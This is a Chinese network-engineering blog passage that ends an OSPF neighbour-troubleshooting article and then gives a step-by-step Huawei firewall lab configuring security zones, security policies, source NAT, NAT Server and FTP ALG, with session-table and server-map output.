[AR2-ospf-1-area-0.0.0.0]authentication-mode simple cipher zhang    # 密码从ren改为zhang
[AR2-ospf-1-area-0.0.0.0]q
[AR2-ospf-1]q
[AR2]
```


查看修改信息

![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/ce752c69ee1a48ca85d8591734c3bd35.png)


​        认证密码由于这里是加密形式，所以看不出来，不过除了抓包还有一个可以看出哪个地方出了问题的命令

```
dis ospf error
```


![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/5ba7aba0532549eab9904501ddf0ad3b.png)


由于认证密码的错误，导致hello包都接收不了，至于后面的对比掩码更是看都不看就丢了

所以最好的方法还是抓包来看的全面

![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/3042c329cf484545bd4110b3e7c028c4.png)



更改好认证密码和掩码，又可以ping通了

![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/8d45d37434d7424d927055154425b65e.png)



![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/2af04be77ca34248b3ba31efb975e798.png)



# 最后再补充一点

​        本来在模拟故障这一步，我是想尝试再修改MTU的，结果修改完发现，两边的MTU不一致，却依旧可以ping通！！！

​        参考一些资料后，发现OSPF要求两边的MTU一致这个说法是没有错的，但是不是特别严谨。因为MTU是在DD报文中携带的，DD报文是从exstart状态开始才交互的，而且Drother之间的最高的邻居状态是Two-way。所以MTU不同，并不影响DRother之间的建立邻居，只影响DR/BDR和其它路由器建立full状态的邻接关系

​        而OSPF要求两侧MTU一致的原因。其实是担心一侧发出的报文太大了，另一侧无法接收。

关于OSPF邻居关系建立的故障问题及解决方案



![](/static/img/防火墙安全策略/de08f70131684fc989d29a407ae8375c.png)


​        交换机LSW1通过VLAN10、20 分别与AR1、AR2连接实现路由器与防火墙进行三层通信。

​        AR1属于DMZ区域、AR2属于Untrust区域，在FW1上配置源NAT使AR1以FW1的GE1/0/1接口地址访问Untrust区域，同时配置NAT Server，使得AR2可以通过FW1的GE1/0/1接口地址访问AR1上开启的FTP服务

​        配置安全策略，限制AR1、AR2之间的访问：DMZ区域的AR1对Untrust区域的访问不受任何限制，Untrust区域只能主动访问DMZ区域中AR1上FTP服务

# 实验任务

1. 基础设置配置
2. 将接口加入安全域，配置安全策略方通local区域到外部区域的访问
3. 配置源NAT、NAT Server
4. 配置安全策略，限制Untrust、DMZ区域之间的访问
5. 查看FW1上Untrust、DMZ区域之间访问流量生成的会话表项
6. 在AR1上开启FTP服务，AR2访问AR1的FTP服务，并通过dir命令进行FTP数据通道的传输，查看FW1上的Server-map表项

# 实现步骤

## 一、基础设置配置

完成互联接口IP地址配置、交换机VLAN划分、在AR1和FW1上配置默认路由

```
# LSW1配置
[LSW1]vlan batch 10 20
[LSW1]int vlan 10
[LSW1-vlan10] description DMZ
[LSW1-vlan10] quit
[LSW1]interface GigabitEthernet0/0/1
[LSW1-GigabitEthernet0/0/1] port link-type access
[LSW1-GigabitEthernet0/0/1] port default vlan 10
[LSW1-GigabitEthernet0/0/1] quit
[LSW1]interface GigabitEthernet0/0/14
[LSW1-GigabitEthernet0/0/14] port link-type access
[LSW1-GigabitEthernet0/0/14] port default vlan 10
[LSW1-GigabitEthernet0/0/14] quit
[LSW1]int vlan 20
[LSW1-vlan20] description Untrust
[LSW1-vlan20] quit
[LSW1]interface GigabitEthernet0/0/2
[LSW1-GigabitEthernet0/0/2] port link-type access
[LSW1-GigabitEthernet0/0/2] port default vlan 20
[LSW1-GigabitEthernet0/0/2] quit
[LSW1]interface GigabitEthernet0/0/15
[LSW1-GigabitEthernet0/0/15] port link-type access
[LSW1-GigabitEthernet0/0/15] port default vlan 20
[LSW1-GigabitEthernet0/0/15] quit

# AR1配置
[AR1]int g0/0/0
[AR1-GigabitEthernet0/0/0]ip address 10.0.11.11 24
[AR1-GigabitEthernet0/0/0]q
[AR1]ip route-static 0.0.0.0 0.0.0.0 10.0.11.1  # 配置用于访问Internet的默认路由

# AR2配置
[AR2]int g0/0/0
[AR2-GigabitEthernet0/0/0]ip address 10.0.12.2 24
[AR2-GigabitEthernet0/0/0]q
```


```
Login authentication 
Username:admin 
Password: 
The password needs to be changed. Change now? [Y/N]: Y 
Please enter old password:  
Please enter new password:  
Please confirm new password: 
# 防火墙的Console接口默认存在登录设置，默认账号密码为：admin  Admin@123，登录之后需要修改密码才能正常登录

# 配置FW1接口IP、默认路由
[FW1]int g 1/0/0
[FW1-GigabitEthernet1/0/0]ip address 10.0.11.1 24
[FW1-GigabitEthernet1/0/0]q
[FW1]int g1/0/1
[FW1-GigabitEthernet1/0/1]ip address 10.0.12.1 24
[FW1-GigabitEthernet1/0/1]q
[FW1]
[FW1]ip route-static 0.0.0.0 0.0.0.0 10.0.12.2

# 配置FW1接口允许通过ping报文
[FW1]int g1/0/0
[FW1-GigabitEthernet1/0/0]service-manage ping permit
[FW1-GigabitEthernet1/0/0]q
[FW1]int g1/0/1
[FW1-GigabitEthernet1/0/1]service-manage ping permit
[FW1-GigabitEthernet1/0/1]q
```


​        防火墙的接口缺省开启service-manage，service-manage在接口层面进行安全把控，它决定用户能否通过该接口管理/访问防火墙。GE1/0/0接口是设备的网管接口，该接口配置了service-manage ping permit、service-manage ssh permit等命令，因此用户能够通过该接口管理防火墙。但是对于其它接口，缺省时防火墙禁止用户从该接口管理/访问自己，除非显式地配置service-manage命令。例如，如果希望允许用户ping GE1/0/1接口，则需要在GE1/0/1接口上配置service-manage ping permit命令，同理如果希望允许用户SSH GE1/0/1接口，则需要配置service-manage ssh permit命。

## 二、配置Local域到其它区域的安全策略规则

​        将接口加入到安全域，同时创建一个安全策略规则local_to

```
# 将接口加入到安全域
[FW1]firewall zone dmz
[FW1-zone-dmz]description DMZ
[FW1-zone-dmz]add interface g1/0/0
[FW1-zone-dmz]q
[FW1]firewall zone untrust 
[FW1-zone-untrust]description Untrust
[FW1-zone-untrust]add interface g1/0/1
[FW1-zone-untrust]q
[FW1]

# 创建安全策略规则local_to
[FW1]security-policy 
[FW1-policy-security]rule name local_to
[FW1-policy-security-rule-local_to]source-zone local
[FW1-policy-security-rule-local_to]action permit
[FW1-policy-security-rule-local_to]q
[FW1-policy-security]q
# 未配置源、目的IP，目的安全域，服务，默认为any
```

测试FW1与AR1、AR2之间的连通性

![](/static/img/防火墙安全策略/bc92a66eb6804c72930008dacf646c8e.png)


## 三、配置源NAT、NAT Server

​        配置NAPT用于私网用户AR1访问Internet，配置NAT Server将AR1的FTP服务映射到公网

```
# 配置NAT地址池，配置时开启允许端口地址转换，实现公网地址复用
[FW1]nat address-group 1
[FW1-address-group-1]mode pat
[FW1-address-group-1]section 0 10.0.12.1 10.0.12.1
[FW1-address-group-1]q
[FW1]

# 配置源NAT策略，实现私网指定网段访问Internet时自动进行源地址转换
[FW1]nat-policy
[FW1-policy-nat]rule name 1
[FW1-policy-nat-rule-1]source-zone dmz
[FW1-policy-nat-rule-1]destination-zone untrust
[FW1-policy-nat-rule-1]source-address 10.0.11.0 24
[FW1-policy-nat-rule-1]action source-nat address-group 1
[FW1-policy-nat-rule-1]q
[FW1-policy-nat]q
[FW1]

# 配置NAT Server功能，创建静态映射，映射AR1的FTP服务
[FW1]nat server policy_ftp protocol tcp global 10.0.12.1 ftp inside 10.0.11.11 ftp

# 开启FTP协议的NAT　ALG功能
[FW1]firewall zone dmz
[FW1-zone-dmz]detect ftp
[FW1-zone-dmz]q
[FW1]firewall zone untrust
[FW1-zone-untrust]detect ftp
[FW1-zone-untrust]q
[FW1]
```


## 四、配置DMZ、Untrust区域之间的安全策略规则

​        配置安全策略DMZ to Untrust，源地址限制为10.0.11.0/24，动作为允许；配置安全策略Untrust_DMZ，只允许AR2访问AR1提供的FTP服务

```
# 创建安全策略规则DMZtoUntrust
[FW1]security-policy 
[FW1-policy-security]rule name DMZtoUntrust
[FW1-policy-security-rule-DMZtoUntrust]source-zone dmz
[FW1-policy-security-rule-DMZtoUntrust]destination-zone untrust
[FW1-policy-security-rule-DMZtoUntrust]source-address 10.0.11.0 24
[FW1-policy-security-rule-DMZtoUntrust]action permit
[FW1-policy-security-rule-DMZtoUntrust]q
[FW1-policy-security]q
[FW1]

# 创建安全策略规则Untrust_DMZ
[FW1]security-policy 
[FW1-policy-security]rule name Untrust_DMZ
[FW1-policy-security-rule-Untrust_DMZ]source-zone untrust
[FW1-policy-security-rule-Untrust_DMZ]destination-zone dmz
[FW1-policy-security-rule-Untrust_DMZ]destination-address 10.0.11.11 24
[FW1-policy-security-rule-Untrust_DMZ]service ftp
[FW1-policy-security-rule-Untrust_DMZ]action permit
[FW1-policy-security-rule-Untrust_DMZ]q
[FW1-policy-security]q
[FW1]
```


​        需要注意mudiIP地址为映射的内部地址，安全策略对报文的处理在NAT Server修改报文的目的IP地址之后

## 五、查看FW1会话

​        在AR1上ping AR2，查看FW1会话的详细信息

```
<AR1>ping  -c 100 10.0.12.2
```

查看FW1会话

```
[FW1]display firewall session table verbose destination global 10.0.12.2
```

![](/static/img/防火墙安全策略/0f97fb7b546641d39617dff186d4f136.png)


编辑

​        查看目的global IP为10.0.12.2的会话详细信息：安全域方向从dmz到untrust、会话老化时间为20s、接收报文接口为g1/0/0、发送报文接口为1/0/1......

​        同时我们可以看到该报文进行了源地址转换，源IP：10.0.11.11转换为10.0.12.1

## 六、观察NAT、ALG工作过程

​        在AR1上开启FTP服务，AR2作为FTP客户端通过FW1映射出地址登录AR1的FTP服务，并执行命令dir查看文件列表，观察FW1的ASPF如何处理多通道协议

在AR1上开启FTP服务

```
[AR1]aaa
[AR1-aaa]local-user ftp service-type ftp
Info: Add a new user.
[AR1-aaa]local-user ftp password cipher zhengchangren
[AR1-aaa]local-user ftp privilege level 15
[AR1-aaa]local-user ftp ftp-directory flash:
[AR1-aaa]q
[AR1]ftp server enable
Info: Succeeded in starting the FTP server
```

在AR2访问AR1开启的FTP服务，注意是通过FW1上映射的地址进行访问

![](/static/img/防火墙安全策略/b4445943402c4e36ac958d44e0fb3661.png)


​        AR2可以成功通过FW1的NAT Server映射访问AR1开启的FTP服务

查看FW1的会话表

```
<FW1>display firewall session table verbose protocol tcp destination-port global 21
```


![](/static/img/防火墙安全策略/b5ace7f88d7c4c1e8bbf918c5ec35d07.png)

​        FTP的控制通道已经建立

在AR2上执行命令dir

![](/static/img/防火墙安全策略/d5101df81f0946a28f2a657ee15ddf7f.png)

​        已经可以看到AR1的文件列表,此时已经使用FTP的传输通道

再次查看FW1的会话表

```
<FW1>display firewall session table 
```


![](/static/img/防火墙安全策略/5a6e63807bea4797aa3231170f5b98e3.png)


​        依旧是只存在FTP控制通道会话，没有传输通道会话

查看NAT ALG生成的Server-map表项

```
<FW1>display firewall server-map  
2025-03-19 10:15:24.830  
 Current Total Server-map : 2 
 Type: Nat Server,  ANY -> 10.0.12.1:21[10.0.11.11:21],  Zone:---,  protocol:tcp 
 Vpn: public -> public 
 Type: Nat Server Reverse,  10.0.11.11[10.0.12.1] -> ANY,  Zone:---,  protocol:tcp 
 Vpn: public -> public,  counter: 1 
```


​        FW1上已经生成了FTP数据通道的Server-**map表项**